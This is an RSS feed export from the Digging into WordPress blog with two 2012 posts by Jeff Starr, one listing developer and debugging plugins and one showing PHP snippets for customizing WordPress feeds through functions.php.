<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; Search Results  &#187;  term</title>
	<atom:link href="http://digwp.com/search/term/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 20 Jun 2013 00:40:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Plugins &amp; Tools for WordPress Developers</title>
		<link>http://digwp.com/2012/12/plugins-wordpress-developers/</link>
		<comments>http://digwp.com/2012/12/plugins-wordpress-developers/#comments</comments>
		<pubDate>Sat, 01 Dec 2012 10:20:32 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[tricks]]></category>
		<category><![CDATA[wp-devs]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=6539</guid>
		<description><![CDATA[I recently spent some time updating my growing collection of WordPress plugins, and during the process discovered some great resources for my WP &#8220;developer toolbox.&#8221; These are some super-useful plugins and tools for debugging, logging data, working with translation files, analyzing performance, and making otherwise difficult tasks efficient and manageable. May they serve you well! [...]]]></description>
				<content:encoded><![CDATA[<p>I recently spent some time updating my growing collection of <a href="http://perishablepress.com/perishable-press-wordpress-plugins/">WordPress plugins</a>, and during the process discovered some great resources for my WP &#8220;developer toolbox.&#8221; These are some super-useful plugins and tools for debugging, logging data, working with translation files, analyzing performance, and making otherwise difficult tasks efficient and manageable. May they serve you well!</p>
<p><span id="more-6539"></span></p>
<h3><abbr title="WordPress">WP</abbr> Developer plugins &amp; tools</h3>
<p>(Note: descriptions taken from their respective resources)</p>
<dl>
<dt><a href="http://wordpress.org/extend/plugins/debug-queries/">Debug Queries</a></dt>
<dd>&#8220;List query-actions only for admins; for debug purposes. See all queries on the frontend of the blog and find the slowest part. The plugin is perfect for WordPress developers, plugin and theme developers and site administrators who are trying to find out why the blog is too slow.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/log-deprecated-notices/">Log Deprecated Notices</a></dt>
<dd>&#8220;Logs the usage of deprecated files, functions, and function arguments, and identifies where the deprecated functionality is being used.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/wordpress-hook-sniffer/">WordPress Hook Sniffer</a></dt>
<dd>&#8220;The WordPress Hook Sniffer plugin is a tool for plugin developers that helps determine the sequence in which action and filter functions are fired. It allows you to peer into the inner workings of the WordPress Plugin API. You can configure what is outputted and to where the output is sent (screen or text file).&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/wp-firephp/">WP-FirePHP</a></dt>
<dd>&#8220;This Plugin integrates FirePHP in your WordPress installation and simplifies developing. No more vardump() and echo while debugging. FirePHP take care of it, clean and easy.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/codestyling-localization/">Codestyling Localization</a></dt>
<dd>&#8220;You can manage and edit all gettext translation files (*.po/*.mo) directly out of WordPress Admin Center without any need of an external editor.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/debug-objects/">Debug Objects</a></dt>
<dd>&#8220;Debug Objects provides a large number of information: query, cache, cron, constants, hooks, functions and many more.&#8221; E.g., query, cache, cron, constants, hooks, and functions. &#8220;Values and content get displayed at the frontend and backend of the blog, to analyze errors but also to better understand and develop with/for WordPress.&#8221;</dd>
<dt><a href="http://nacin.com/2010/04/23/5-ways-to-debug-wordpress/">5 Ways to Debug WordPress</a></dt>
<dd>&#8220;Many plugin and theme authors don&#8217;t take full advantage of some really helpful debugging tools in WordPress. Here’s a quick run-down of five cool tools for debugging.&#8221;</dd>
</dl>
<p>And here are some more useful plugins that haven&#8217;t been updated in awhile but continue to provide much-needed functionality. Old doesn&#8217;t mean broken ;)</p>
<dl>
<dt><a href="http://wordpress.org/extend/plugins/wp-developer-assistant/">WP Developer Assistant</a></dt>
<dd>WP Developer Assistant is &#8220;essentially is a toolkit that makes life as a WordPress developer easier.&#8221; Does cool stuff like customizable PHP errors, global variable dump, table modification, execute queries, phpinfo(), and much more.</dd>
<dt><a href="http://wordpress.org/extend/plugins/askapaches-rewriterules-viewer/">AskApache RewriteRules Viewer</a></dt>
<dd>&#8220;Displays Most Everything about your WordPress Rewrites. Displays Most Everything about your WordPress Rewrites, Permalinks, URI&#8217;s, in a very detailed and raw way. Informational plugin only&#8230; Nothing is modified or changed.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/latency-tracker/">Latency Tracker</a></dt>
<dd>&#8220;This really simple plugin hooks into your wp_footer function (so make sure that your theme uses it) to count the number of queries, how long they took, how much memory was use, and when it all occurred. That way, they can show some solid data to the host so that they are able to compare numbers and know for sure that their load times are faster or slower when compared.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/tpc-memory-usage/">TPC! Memory Usage</a></dt>
<dd>&#8220;TPC! Memory Usage allows WordPress administrators to view the current and peak memory usage of the application. This is extremely helpful when testing new plugins, or if there are a lot of modifications, plugins, or large language files. As of version 0.4, administrators now have the ability to view detailed system information about their web server, MySQL, PHP, and WordPress software.&#8221;</dd>
<dt><a href="http://wordpress.org/extend/plugins/wp-devel/">WP-Devel</a></dt>
<dd>&#8220;Developer toolbar giving you easy access to debug information across your entire website. The WP-Devel plugin for WordPress features a ton of debug options to help developers. Debug information is easily turned on/off from the WP-Devel toolbar anywhere on your website.&#8221;</dd>
<dt><a href="http://www.yvoschaap.com/wpthemegen/">WordPress Theme Generator</a></dt>
<dd>BONUS tool! I don&#8217;t know how <em>useful</em> it actually is, but the WordPress Theme Generator enables anyone to create custom WordPress themes &#8220;without any need for HTML, JS, PHP, or CSS knowledge.&#8221;</dd>
</dl>
<p><strong>Update:</strong> Also recommended debugging resources:</p>
<ul>
<li><a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a></li>
<li><strong>Simple Debugging with WordPress</strong> <small><em>(<abbr title="http://fuelyourcoding.com/simple-debugging-with-wordpress/">404 link</abbr> removed 2013/05/05)</em></small></li>
</ul>
<p>Leave a comment if you know other awesome resources for WordPress devs!</p>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/12/plugins-wordpress-developers/">Permalink</a> | <a href="http://digwp.com/2012/12/plugins-wordpress-developers/#comments">13 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/12/plugins-wordpress-developers/&title=Plugins &#038; Tools for WordPress Developers">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tools/" rel="tag">tools</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a>, <a href="http://digwp.com/tag/wp-devs/" rel="tag">wp-devs</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/12/plugins-wordpress-developers/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Customizing WordPress Feeds</title>
		<link>http://digwp.com/2012/10/customizing-wordpress-feeds/</link>
		<comments>http://digwp.com/2012/10/customizing-wordpress-feeds/#comments</comments>
		<pubDate>Tue, 23 Oct 2012 18:41:12 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[feeds]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=6546</guid>
		<description><![CDATA[WordPress feeds enable your visitors to subscribe to your content for use in their favorite feed-reader. For example, subscribing to the main-posts feed and/or the comments feed is a great way for your readers to stay current with all the latest from your site. With WordPress, you can deliver a wide variety of &#8220;Full-text&#8221; or [...]]]></description>
				<content:encoded><![CDATA[<p>WordPress feeds enable your visitors to subscribe to your content for use in their favorite feed-reader. For example, subscribing to the main-posts feed and/or the comments feed is a great way for your readers to stay current with all the latest from your site.</p>
<p><span id="more-6546"></span></p>
<p>With WordPress, you can deliver a wide variety of &#8220;Full-text&#8221; or &#8220;Summary&#8221; (partial) feeds in numerous formats, including Atom, <abbr title="Resource Description Framework">RDF</abbr>, and <abbr title="Really Simple Syndication 2.0">RSS2</abbr>. This variety extends the reach of your content by enabling your feeds to be read in more apps, readers, and devices.</p>
<p>As awesome as the default feeds may be, they are also readily customizable using a variety of methods. In addition to <abbr title="WordPress">WP</abbr>&#8216;s built-in ways of configuring your feeds, you can go even further with custom templates, functions, and plugins. In this <abbr title="Digging into WordPress">DigWP</abbr> post, you&#8217;ll learn everything you need to customize your feeds with bonus content, recent posts, social media, and much more.</p>
<h4>Contents</h4>
<ul id="wordpress-feeds-menu">
<li><a href="#overview">Overview</a></li>
<li><a href="#feed-template-files">Feed Template Files</a></li>
<li><a href="#customize-wordpress">Built-in ways to customize feeds</a></li>
<li><a href="#customize-templates">Customize with custom templates</a></li>
<li><a href="#customize-plugins">Customizing with WP plugns</a></li>
<li><a href="#customize-filters-hooks">Customizing feeds with filters and hooks</a></li>
<li><a href="#customize-examples">Examples of customizing feeds via functions.php</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>
<h3 id="overview">Overview of WordPress feeds</h3>
<p>By default WordPress generates a feed for just about everything, as seen in this overview:</p>
<table id="wordpress-feeds">
<thead>
<tr>
<th class="feed-type">Feed type</th>
<th class="feed-desc">Description</th>
<th class="feed-example">Example*</th>
</tr>
</thead>
<tbody>
<tr>
<td class="feed-type">All Posts</td>
<td class="feed-desc">Main content feed &ndash; includes your latest posts</td>
<td class="feed-example"><a href="http://digwp.com/feed/">http://digwp.com/feed/</a></td>
</tr>
<tr>
<td class="feed-type">All Comments</td>
<td class="feed-desc">Main comments feed &ndash; includes latest comments</td>
<td class="feed-example"><a href="http://digwp.com/comments/feed/">http://digwp.com/comments/feed/</a></td>
</tr>
<tr>
<td class="feed-type">Individual Posts</td>
<td class="feed-desc">Includes latest comments on a specific post</td>
<td class="feed-example"><a href="http://digwp.com/2009/07/getting-more-fine-grained-with-includes/feed/">http://digwp.com/2009/07/getting-more-fine-grained-with-includes/feed/</a></td>
</tr>
<tr>
<td class="feed-type">Individual Pages</td>
<td class="feed-desc">Includes latest comments on a specific page</td>
<td class="feed-example"><a href="http://digwp.com/archives/feed/">http://digwp.com/archives/feed/</a></td>
</tr>
<tr>
<td class="feed-type">Archives</td>
<td class="feed-desc">Day, month, year &ndash; includes latest posts in each archive</td>
<td class="feed-example"><a href="http://digwp.com/2010/feed/">http://digwp.com/2010/feed/</a>, <a href="http://digwp.com/2010/10/feed/">http://digwp.com/2010/10/feed/</a>, <a href="http://digwp.com/2010/10/02/feed/">http://digwp.com/2010/10/02/feed/</a></td>
</tr>
<tr>
<td class="feed-type">Search Results</td>
<td class="feed-desc">Includes latest posts for a particular search query</td>
<td class="feed-example"><a href="http://digwp.com/search/term/feed/">http://digwp.com/search/term/feed/</a></td>
</tr>
<tbody>
</table>
<p>* <em>Note: examples show feed URLs when <a href="http://codex.wordpress.org/Using_Permalinks" title="WP Codex: Using Permalinks">WP permalinks</a> are enabled.</em></p>
<p>As if that many feeds weren&#8217;t enough, each type of feed is available is the following formats:</p>
<ul>
<li><strong>Atom</strong> &ndash; append <code>/atom/</code> to any type of feed</li>
<li><strong>RDF</strong> &ndash; append <code>/rdf/</code> to any type of feed</li>
<li><strong>RSS2</strong> &ndash; append <code>/feed/</code>, <code>/feed/rss/</code>, or <code>/feed/rss2/</code> to just about any WP-generated page (this is the default feed format)</li>
</ul>
<p>For more details, here&#8217;s a complete guide to all of the different <a href="http://perishablepress.com/what-is-my-wordpress-feed-url/" title="What is My WordPress Feed URL?">WordPress feed URLs</a>.</p>
<p><strong>Note:</strong> In previous versions of WordPress feeds were also generated in <abbr title="Really Simple Syndication">RSS</abbr>-0.92 format, but those now are redirected to their respective <abbr title="Really Simple Syndication">RSS</abbr>-2.0 formats, even though the template file for RSS-0.92 still exists in the core. The feed template files are what WordPress uses to generate the various types of feeds in their various formats. Let&#8217;s take a look..</p>
<h3 id="feed-template-files">Feed Template files</h3>
<p>To generate the different feed formats &mdash; Atom, RDF, and RSS2 &mdash; for its myriad feed types, WordPress employs the following template files:</p>
<p><strong>Post-based feeds</strong></p>
<ul>
<li><code>/wp-includes/feed-atom.php</code></li>
<li><code>/wp-includes/feed-rdf.php</code></li>
<li><code>/wp-includes/feed-rss.php</code></li>
<li><code>/wp-includes/feed-rss2.php</code></li>
</ul>
<p>The post-based feeds look self-explanatory: <code>feed-atom.php</code> is used for Atom feeds, <code>feed-rdf.php</code> for <abbr title="Resource Description Framework">RDF</abbr> feeds, and so on. As mentioned, the thing to note here is that the <code>feed-rss.php</code> (for the <abbr title="Really Simple Syndication">RSS</abbr>-0.92 format) still exists in the WP core, even though it&#8217;s no longer used, <abbr title="as far as I know">afaik</abbr>.</p>
<p><strong>Comment-based feeds</strong></p>
<ul>
<li><code>/wp-includes/feed-atom-comments.php</code></li>
<li><code>/wp-includes/feed-rss2-comments.php</code></li>
</ul>
<p>The comment-based feeds are available in only two flavors: Atom and <abbr title="Really Simple Syndication">RSS</abbr> 2.0. As with post feeds, requests for <abbr title="Really Simple Syndication">RSS</abbr>-0.92 comment feeds are redirected to their respective RSS-2.0 formats. Also worth noting, requests for <abbr title="Resource Description Framework">RDF</abbr>-formatted comment feeds are mysteriously redirected to RSS2 <em>post</em> feeds. Examples:</p>
<ul>
<li><a href="http://digwp.com/comments/feed/rdf/">http://digwp.com/comments/feed/rdf/</a></li>
<li><a href="http://digwp.com/2012/09/notification-list-for-new-books/feed/rdf/">http://digwp.com/2012/09/notification-list-for-new-books/feed/rdf/</a></li>
</ul>
<p>For each of these examples, it would make more sense to redirect to the respective RSS2-formatted <em>comments</em> feed, rather than to any of the post feeds.</p>
<p><strong>Feed functions</strong></p>
<ul>
<li><code>/wp-includes/feed.php</code></li>
</ul>
<p>Lastly, the <code>feed.php</code> file contains some of the key functions used in the various feed-templates. For example, the <code>rss_enclosure()</code> function is used in <code>feed-rss2.php</code> to display any <a href="http://www.w3schools.com/rss/rss_tag_enclosure.asp" title="RSS enclosure Element">RSS enclosure(s)</a> included for the current post. So, if you&#8217;ve added, say, the following enclosure to your latest post (via custom field named &ldquo;<code>enclosure</code>&rdquo;):</p>
<p><code>&lt;enclosure url="http://awesome-video.flv" length="104857600" type="video/x-flv" /&gt;</code></p>
<p>WordPress will automatically insert the enclosure into your RSS2 feed via the <code>rss_enclosure()</code> function. Here is what your feed&#8217;s <abbr title="eXtensible Markup Language">XML</abbr> will look like after the enclosure is included (line breaks added for emphasis):</p>
<pre><code>&lt;item&gt;
	&lt;title&gt;Awesome Video&lt;/title&gt;
	&lt;link&gt;http://example.com/awesome-video/&lt;/link&gt;
	&lt;comments&gt;http://example.com/awesome-video/#comments&lt;/comments&gt;
	&lt;pubDate&gt;Wed, 17 Oct 2012 06:51:07 +0000&lt;/pubDate&gt;
	&lt;dc:creator&gt;Perishable&lt;/dc:creator&gt;
	&lt;category&gt;&lt;![CDATA[WordPress]]&gt;&lt;/category&gt;
	&lt;guid isPermaLink="false"&gt;http://example.com/?p=132&lt;/guid&gt;
	&lt;description&gt;&lt;![CDATA[Check out this awesome video..]]&gt;&lt;/description&gt;
	&lt;wfw:commentRss&gt;http://example.com/awesome-video/feed/&lt;/wfw:commentRss&gt;
	&lt;slash:comments&gt;500&lt;/slash:comments&gt;

	&lt;enclosure url="http://awesome-video.flv" length="104857600" type="video/x-flv" /&gt;

&lt;/item&gt;</code></pre>
<p>And here&#8217;s what we see near the end of the <code>feed-rss2.php</code> template that makes it happen:</p>
<pre><code>.
.
.
		&lt;wfw:commentRss&gt;&lt;?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?&gt;&lt;/wfw:commentRss&gt;
		&lt;slash:comments&gt;&lt;?php echo get_comments_number(); ?&gt;&lt;/slash:comments&gt;

&lt;?php rss_enclosure(); ?&gt;

	&lt;?php do_action('rss2_item'); ?&gt;
	&lt;/item&gt;
	&lt;?php endwhile; ?&gt;
&lt;/channel&gt;
&lt;/rss&gt;</code></pre>
<p>There is a similar function for including enclosures for Atom feeds, <code>atom_enclosure</code>, which is also included in <code>feed.php</code>. And so, now that we&#8217;re all up to speed on the what, why and where, let&#8217;s apply the information as we learn how to customize our own WordPress feeds.</p>
<h3 id="customize-wordpress">Built-in ways to customize feeds</h3>
<p>The <em>easiest</em> way to customize your feeds is by using the built-in options that WordPress provides. Probably these are familiar to most of us, but they&#8217;re worth mentioning along with some of their pros and cons:</p>
<p><strong>Full-text or Summary feed?</strong></p>
<p>If you visit &#8220;Settings&#8221; &gt; &#8220;Reading Settings&#8221;, you can choose whether to syndicate your complete posts or only the excerpt. Note: does not apply to comment feeds, which always display comments in their entirety. Delivering partial-feeds is a good way to prevent content-scraping, while delivering full-feeds makes it easier for your readers to stay current (i.e., they don&#8217;t have to visit your site, which may be another reason to use partial feeds).</p>
<p><strong>Number of posts/comments to include in feeds</strong></p>
<p>To customize the number of items that appear in your post and comment feeds, visit &#8220;Settings&#8221; &gt; &#8220;Reading Settings&#8221; and adjust the option, &#8220;Syndication feeds show the most recent&#8221;. The number that you choose will apply to both post and comment feeds.</p>
<p>Including larger numbers of posts can make your feed look more attractive to potential subscribers, which may be useful when delivering partial feeds. When delivering full-feeds, however, you may be better served by choosing a lower number of feed items. Here at <a href="http://digwp.com/">DigWP.com</a>, we deliver full-text feeds, eight at a time.</p>
<p><strong>Character encoding for feeds</strong></p>
<p>While the default <abbr title="Unicode Transformation Format (8-bit)">UTF-8</abbr> character-encoding is recommended, it is possible to choose an alternate encoding method. Visit &#8220;Settings&#8221; &gt; &#8220;Reading Settings&#8221; &gt; &#8220;Encoding for pages and feeds&#8221; to make it happen.</p>
<h3 id="customize-templates">Customize with custom templates</h3>
<p>As explained in <a href="http://digwp.com/2009/09/easy-custom-feeds-in-wordpress/" title="Easy Custom Feeds in WordPress">previous</a> <a href="http://digwp.com/2011/08/custom-feeds/" title="Create an Articles-Only Feed">posts</a>, a great way to generate custom feeds is to use a custom feed template. Those posts explain it all in detail, with the basic idea going something like this:</p>
<ol>
<li><strong>Create a custom page template</strong> &ndash; and paste into it any existing feed template</li>
<li><strong>Modify the custom feed template</strong> &ndash; for example, change the number of posts, make it a category-specific feed, add custom XML enclosures, and so on.</li>
<li><strong>Provide a link to the feed</strong> &ndash; once everything is in place, the custom feed will be available at the URL of its custom page.</li>
</ol>
<p>As you can imagine, using custom feed templates is an ideal approach, but it&#8217;s also possible to modify your <em>existing</em> feeds (instead of creating new ones). Read on to learn how..</p>
<h3 id="customize-plugins">Customizing with WP plugns</h3>
<p>The easiest way to go further than default WP customization options is to use a plugin. There are many available. Here are some of our favorites that show the wide range of feed-customizing that&#8217;s possible with <em>free</em> WordPress plugins:</p>
<ul>
<li><a href="http://wordpress.org/extend/plugins/comments-on-feed/">Comments On Feed</a> &ndash; enables visitors to view and leave comments directly from each post in the WordPress content feed.</li>
<li><a href="http://wordpress.org/extend/plugins/feed-template-customize/">Feed Template Customize</a> &ndash; enables you to modify WP&#8217;s RSS and Atom feeds using your own custom feed-templates.</li>
<li><a href="http://wordpress.org/extend/plugins/rss-image-feed/">RSS Image Feed</a> &ndash; adds the first image of a post to your feeds, even in Firefox and even if you only display the excerpt.</li>
<li><a href="http://wordpress.org/extend/plugins/rss-custom-fields/">RSS Custom Fields</a> &ndash; includes all of your custom fields in your feed so you can pull data out of WordPress and use it elsewhere.</li>
<li><a href="http://wordpress.org/extend/plugins/custom-post-type-rss-feed/">Custom Post Type RSS feeds</a> &ndash; makes it &#8220;super easy&#8221; to create an RSS feed based on custom post types.</li>
</ul>
<p>And there&#8217;s many more feed-tweaking plugins available in the <a href="http://wordpress.org/extend/plugins/">WordPress Plugin Directory</a> and <a href="http://google.com/">elsewhere</a>. Knock yourself out :)</p>
<h3 id="customize-filters-hooks">Customizing feeds with filters and hooks</h3>
<p>The most <em>direct</em> way of customizing WordPress feeds is to <a href="http://digwp.com/2009/09/wordpress-action-hooks/" title="Precision Targeting with Custom Action Hooks">hook into them directly</a> with <a href="http://codex.wordpress.org/Plugin_API/Action_Reference" title="WP Codex: Plugin API/Action Reference">actions</a> and <a href="http://codex.wordpress.org/Plugin_API/Filter_Reference" title="WP Codex: Plugin API/Filter Reference">filters</a>. For example, WP hooks make it easy to add custom content:</p>
<pre><code>// add custom feed content
function add_feed_content($content) {
	if(is_feed()) {
		$content .= '&lt;p&gt;This article is copyright &amp;copy; '.date('Y').'&amp;nbsp;'.bloginfo('name').'&lt;/p&gt;';
	}
	return $content;
}
add_filter('the_excerpt_rss', 'add_feed_content');
add_filter('the_content', 'add_feed_content');</code></pre>
<p>With that snippet included in your theme&#8217;s <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">functions.php</a> file, WordPress will display a line of copyright information (for example) to each of your feed items. Of course, much more is possible once you&#8217;re able to target hooks for <em>specific</em> feeds. Fortunately, WordPress provides some useful <em>format-specific</em> feed hooks:</p>
<p><strong>Atom post feeds</strong></p>
<ul>
<li><code>atom_ns()</code></li>
<li><code>atom_head()</code></li>
<li><code>atom_author()</code></li>
<li><code>atom_enclosure()</code></li>
<li><code>atom_entry()</code></li>
</ul>
<p><strong>RDF post feeds</strong></p>
<ul>
<li><code>rdf_ns()</code></li>
<li><code>rdf_header()</code></li>
<li><code>rdf_item()</code></li>
</ul>
<p><strong>RSS2 post feeds</strong></p>
<ul>
<li><code>rss2_ns()</code></li>
<li><code>rss2_head()</code></li>
<li><code>rss_enclosure()</code></li>
<li><code>rss2_item()</code></li>
</ul>
<p><strong>Atom comment feeds</strong></p>
<ul>
<li><code>atom_ns()</code></li>
<li><code>atom_comments_ns()</code></li>
<li><code>comments_atom_head()</code></li>
<li><code>comment_atom_entry()</code></li>
</ul>
<p><strong>RSS2 comment feeds</strong></p>
<ul>
<li><code>rss2_ns()</code></li>
<li><code>rss2_comments_ns()</code></li>
<li><code>commentsrss2_head()</code></li>
<li><code>commentrss2_item()</code></li>
</ul>
<p>For more information (and more hooks), and to see where everything is located, check out the relatively short <a href="#feed-template-files">feed template files</a> mentioned previously. Some of these hooks are also discussed in the <a href="http://codex.wordpress.org/">WP Codex</a>, and there are some additional infos elsewhere on the Internets. For now, we&#8217;ve seen how to hook into feeds and some feed-specific hooks to use, so let&#8217;s continue with some practical examples of customizing feeds via your theme&#8217;s <code>functions.php</code>.</p>
<h3 id="customize-examples">Examples of customizing feeds via functions.php</h3>
<p>Straight on then, here are some practical examples showing different ways to customize default WordPress feeds directly from your theme.</p>
<p><strong>Add a custom logo and icon to your feed</strong></p>
<p>As explained <a href="http://perishablepress.com/feed-your-image-via-atom-or-rss/" title="Feed your Image via Atom or RSS">here</a>, a useful way to boost your brand is to include a custom logo and icon to the header area of <em>all</em> of your feeds. Just add the following code to your theme&#8217;s <code>functions.php</code> file:</p>
<pre><code>// add icon and logo to Atom feeds
add_action('atom_head','digwp_atom_feed_add_icon');
add_action('comments_atom_head','digwp_atom_feed_add_icon');
function digwp_atom_feed_add_icon() { ?&gt;

	&lt;feed&gt;
		&lt;icon&gt;&lt;?php echo get_template_directory_uri(); ?&gt;/images/logo.ico&lt;/icon&gt;
		&lt;logo&gt;&lt;?php echo get_template_directory_uri(); ?&gt;/images/logo.gif&lt;/logo&gt;
	&lt;/feed&gt;

&lt;?php }

// add icon and logo to RSS feeds
add_action('rss_head','digwp_rss_feed_add_icon');
add_action('rss2_head','digwp_rss_feed_add_icon');
add_action('commentsrss2_head','digwp_rss_feed_add_icon');
function digwp_rss_feed_add_icon() { ?&gt;

	&lt;image&gt;
		&lt;url&gt;&lt;?php echo get_template_directory_uri(); ?&gt;/images/logo.gif&lt;/url&gt;
		&lt;title&gt;&lt;?php bloginfo_rss('name'); ?&gt;&lt;/title&gt;
		&lt;link&gt;&lt;?php bloginfo_rss('url'); ?&gt;&lt;/link&gt;
		&lt;width&gt;125&lt;/width&gt;
		&lt;height&gt;75&lt;/height&gt;
		&lt;description&gt;&lt;?php bloginfo('description'); ?&gt;&lt;/description&gt;
	&lt;/image&gt;

&lt;?php }

// add icon and logo to RDF feeds
add_action('rdf_header','digwp_rdf_feed_add_icon');
function digwp_rdf_feed_add_icon() { ?&gt;

	&lt;image rdf:about="&lt;?php echo get_template_directory_uri(); ?&gt;/images/logo.gif"&gt;
		&lt;title&gt;&lt;?php bloginfo_rss('name'); ?&gt;&lt;/title&gt;
		&lt;url&gt;&lt;?php echo get_template_directory_uri(); ?&gt;/images/logo.gif&lt;/url&gt;
		&lt;link&gt;&lt;?php bloginfo_rss('url'); ?&gt;&lt;/link&gt;
		&lt;description&gt;&lt;?php bloginfo('description'); ?&gt;&lt;/description&gt;
	&lt;/image&gt;

&lt;?php }</code></pre>
<p>Note that there are two images in play here: an icon for the Atom feeds and a logo for the Atom, RSS/RSS2, and RDF feeds. Once both the code and images are in place, your WordPress feeds will be <em>uniformly branded</em> with the ultra-buff image(s) of your choice.</p>
<p><strong>Add feed <code>&lt;link&gt;</code> tags to your web pages</strong></p>
<p>A great way to boost feed reach is to include <a href="http://codex.wordpress.org/Automatic_Feed_Links" title="WP Codex: Automatic Feed Links">automatic feed links</a> to the <code>&lt;head&gt;</code> section of your web pages. When this theme-feature is enabled, WordPress draws upon its vast army of feed types and includes links to any relevant feeds for the current page view. This enables &#8220;feed-aware&#8221; devices and browsers to automatically detect your available feeds, making it easier for visitors to discover and subscribe. This theme feature is enabled with the following snippet added to your theme&#8217;s <a href="http://digwp.com/2010/04/wordpress-custom-functions-php-template-part-2/" title="WordPress Custom functions.php Template, Part 2">functions.php file</a>:</p>
<pre><code>// enable WP automatic feed links
if (function_exists('automatic_feed_links')) {
	automatic_feed_links();
} else {
	return;
}</code></pre>
<p>Nothing else to do! Just slap it in there and enjoy your new automatic feed links. Huzzah!</p>
<p><strong>Completely remove the version number from pages and feeds</strong></p>
<p>By default, WordPress includes its version number in your feeds. If you&#8217;re always running the most current version of WordPress, there is nothing to worry about; otherwise, it&#8217;s a good idea to remove the version information wherever possible. Here&#8217;s the code to add to <code>functions.php</code>:</p>
<pre><code>// remove version info from head and feeds
add_filter('the_generator', 'digwp_complete_version_removal');
function digwp_complete_version_removal() {
	return '';
}</code></pre>
<p>As an added bonus, this technique also removes the version information from the <code>&lt;head&gt;</code> section of your web pages.</p>
<p><strong>Delay feed update after posting</strong></p>
<p>Thanks to the fine folks at <a href="http://wpengineer.com/publish-the-feed-later/" title="Publish the feed later">WP Engineer</a>, here is a technique for delaying feed-updates for a few minutes after posting a new post or page:</p>
<pre><code>// delay feed update after posting
add_filter('posts_where', 'publish_later_on_feed');
function publish_later_on_feed($where) {
	global $wpdb;
	if (is_feed()) {
		// timestamp in WP-format
		$now = gmdate('Y-m-d H:i:s');

		// value for wait; + device
		$wait = '5'; // integer

		// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
		$device = 'MINUTE'; // MINUTE, HOUR, DAY, WEEK, MONTH, YEAR

		// add SQL-sytax to default $where
		$where .= " AND TIMESTAMPDIFF($device, $wpdb-&gt;posts.post_date_gmt, '$now') &gt; $wait ";
	}
	return $where;
}</code></pre>
<p>After adding this code to your <code>functions.php</code> file, WordPress will wait five minutes before updating your feeds with the new content. This buys you some precious time to triple-check everything and fix any last-minute errors. To delay feed-updating for a longer (or shorter) amount of time, edit the <code>$wait</code> and <code>$device</code> variables to whatever you prefer.</p>
<p><strong>Disable all feeds</strong></p>
<p>With all this talk about <em>customizing</em> feeds, it&#8217;s worth asking whether or not you want to make feeds available in the first place. They&#8217;re enabled by default, but sometimes it&#8217;s optimal to disable them entirely or even selectively. Here&#8217;s the function to make it happen:</p>
<pre><code>// disable all feeds
function digwp_disable_feed() {
	wp_die(__('&lt;h1&gt;Feed not available, please visit our &lt;a href="'.get_bloginfo('url').'"&gt;Home Page&lt;/a&gt;!&lt;/h1&gt;'));
}
add_action('do_feed',      'digwp_disable_feed', 1);
add_action('do_feed_rdf',  'digwp_disable_feed', 1);
add_action('do_feed_rss',  'digwp_disable_feed', 1);
add_action('do_feed_rss2', 'digwp_disable_feed', 1);
add_action('do_feed_atom', 'digwp_disable_feed', 1);</code></pre>
<p><strong>Note:</strong> Only use this function if you want to disable your feeds! Or to only disable certain feeds, comment out or delete its corresponding <code>add_action</code> and you&#8217;re good to go.</p>
<p><strong>Customize the only first post in feeds</strong></p>
<p>For our last example, here is a way to target and customize <em>only the first post</em> in your various feeds. Add the following code to <code>functions.php</code>:</p>
<pre><code>// customize first feed post only
add_filter('the_content', 'digwp_customize_first_feed_post');
add_filter('the_excerpt', 'digwp_customize_first_feed_post');
function digwp_customize_first_feed_post($content) {
	global $wp_query;
	if (is_feed()) {
		$feed_type = get_query_var('feed');
		if ($wp_query-&gt;current_post == 0) {
			return '&lt;p&gt;Put some custom content here!&lt;/p&gt;' . $content;
		} else {
			return $content;
		}
	} else { return $content; }
}</code></pre>
